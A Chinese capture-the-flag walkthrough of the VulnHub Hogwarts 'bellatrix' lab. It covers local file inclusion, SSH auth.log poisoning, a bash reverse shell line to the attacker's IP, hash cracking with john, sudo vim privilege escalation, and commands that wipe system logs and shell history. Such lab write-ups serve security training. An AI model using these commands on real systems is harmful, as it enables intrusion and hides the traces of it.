当前位置: 首页 > news >正文

vulnhub靶场【Hogwarts】之bellatrix

前言

靶机:hotwarts-dobby,ip地址为192.168.1.69

攻击:kali,ip地址为192.168.1.16

都采用虚拟机,网卡为桥接模式

主机发现

使用arp-scan -lnetdiscover -r 192.168.1.1/24扫描发现主机

信息收集

使用nmap扫描端口

网站信息探测

访问80端口,发现界面显示一串字符,观察其规律,最后有.php,可能是一个文件

查看页面源代码,可以看到给出几个信息点,其中一句话中大概意思是,这次在源代码界面中没有东西,或许我已经告诉你一个目录,.php文件

最终去重后,发现为一个php文件ikilledsiriusblack.php

漏洞寻找

根据前面的页面源代码查询中,发现有一个文件包含,参数为file,那么测试是否可行,尝试包含文件/etc/passwd,发现可以,并发现一个用户lestrange,只是,其采用的是rbash

测试发现,只是本地文件包含,并且/etc/shadow无权限

再次尝试对网站进行目录爆破,不过并没有东西产出

那么尝试使用ffuf配合linux的一些关键目录文件进行测试,观察有哪些可以访问

ffuf -c -w /usr/share/wordlists/linux_file.txt -u http://192.168.1.69/ikilledsiriusblack.php?file=FUZZ -fs 1728,0 
# -fs是过滤一些特定字节的网页,1728是其网站的默认字节
#这里的字典可以去github上下载一个

发现日志文件auth.log可以访问,尝试进行污染,因为该文件中在进行ssh身份认证时,会记录用户名及相关信息,所需要做的就是把用户名改成一段php代码

漏洞利用

然后尝试进行代码注入

这时候大概率已经注入成功,可以进行查看,一般都是在文件的最后位置,结合前面的信息,一般登录失败会把用户也显示,但是php作为脚本语言,并不会直接显示,判定,已经成功,记录在文件中了

那么尝试利用注入的代码,注入的代码可用

反弹shell

尝试进行一个bash反弹,获取终端

/bin/bash-c 'bash -i >& /dev/tcp/192.168.1.16/1234 >&1'
#这里最好对该语句进行URL编码处理

先在kali中使用nc开启一个监听,浏览器执行上面的语句后就会在kali中反弹成功

然后习惯性的查看当前目录下的文件,意外发现一个root所有者的目录,并且还可以查看,而且还是进行编码处理的名称

解码发现名称是secret,那就值得关注,进入到该目录,发现一个文件,查看后,发现是用户lestrange的hash

提权

水平提权至lestrange

那就简单了,这里可以直接进行hash破解,不过这里还是复习一下unshadow的使用,查看/etc/passwd中的lestrange,然后复制到kali中的一个文件,并把上面的hash也都复制到一个文件,使用unshadow整合在一起后,使用john爆破

这里需要注意,在查看目录是尽量使用ls -al,因为我这里就是因为使用kali中的字典进行爆破,但是长时间没效果,然后再次寻找的时候,发现提供了一个字典

复制该文件的内容,或者下载,怎么都行,只要把内容复制到kali中,然后使用john破解,发现密码ihateharrypotter

#复制文件/etc/passwd内容到kali中的user文件
#复制文件Swordofgryffindor内容到kali中的pass文件
#复制文件字典.sercret.dic内容到kali中的word.txt文件
#使用unshadow整合两个文件到userpass
unshadow user pass > userpass
john userpass --wordlist=word.txt 

这里图片中出现两次john是显示问题

使用用户名lestrange和密码ihateharrypotter登录ssh

查看当前目录下的文件,发现.bash_history,查看其内容

垂直提权至root

根据上面的历史命令记录,可能存在sudo提权,所以就不再使用find寻找具有SUID权限文件,直接sudo -l

发现vim,并且对应之前命令历史记录中的语句,可以直接使用,或者查看网站gtfobins.github.io中的方式

使用命令sudo vim -c ':!/bin/sh'提权,成功至root

并且有个script.sh脚本,查看发现原来是更改auth.log权限的

清理痕迹

日志清理,因为这次主要就是auth.log日志文件,所以要好好清理

sed -i "/192.168.1.16/d" /var/log/auth.log
echo > /var/log/btmp
echo > /var/log/faillog
echo > /var/log/lastlog
echo > /var/log/wtmp
echo > /var/log/apache2/access.log
echo > /var/log/apache2/error.log

历史命令记录

history -r 
history -c

总结

该靶场考察以下几点:

  1. 对于文件的发现,发现到的都要测试一下
  2. php语言的文件包含,此处使用的是include,包含时,会执行其文件
  3. 对于linux中的一些文件如何配合文件包含,这里就是身份认证日志文件auth.log,因为用户名是可控的,所以传入了脚本语言,导致造成危害
  4. 对于常见的提权,可以通过查看命令历史记录寻找其中可利用的点,或者利用suid或者sudo等提权
http://www.lryc.cn/news/512997.html

相关文章:

  • 移动 APP 设计规范参考
  • HarmonyOS:@Require装饰器:校验构造传参
  • github提交不上去,网络超时问题解决
  • 国产数据库OceanBase从入门到放弃教程
  • 风力涡轮机缺陷检测数据集,91.4%准确识别率,18912张图片,支持yolo,PASICAL VOC XML,COCO JSON格式的标注
  • Rabbitmq追问2
  • 郑州时空-TMS运输管理系统 GetDataBase 信息泄露漏洞复现
  • 如何使用React,透传各类组件能力/属性?
  • 汇编点灯练习
  • 数据结构与算法之动态规划: LeetCode 213. 打家劫舍 II (Ts版)
  • Git工具
  • SpringBoot3.3.3+shardingsphere-jdbc5.5.0读写分离、自定义生成主键策略
  • 开发运维基本功:无需复杂配置快速实现本地Nginx的公网远程访问
  • 金融租赁系统助力企业转型与市场竞争力提升
  • 【漫话机器学习系列】028.CP
  • 软件测试——面试八股文(入门篇)
  • 如何在不同工作场景下优化嵌入式系统的电源消耗
  • java - SpringBoot3.x接入Security6.x实现JWT认证
  • 【每日学点鸿蒙知识】无障碍、getLastLocation、蓝牙问题、卡片大小、关系型数据库等
  • [Linux] 服务器CPU信息
  • MySQL——数据类型
  • 《AI赋能自由职业:开启竞争力提升新征程》
  • Excel转Json编辑器工具
  • 创建型设计模式、结构型设计模式与行为型设计模式 上下文任务通用方案 设计模式 大全
  • Mac 环境 VVenC 编译与编码命令行工具使用教程
  • 如何在 Ubuntu 22.04 上部署 Nginx 并优化以应对高流量网站教程
  • springcloud各个组件介绍
  • HTML5实现好看的喜庆圣诞节网站源码
  • 《学习之道》
  • 【Unity3D】ECS入门学习(十一)ComponentSystem、JobComponentSystem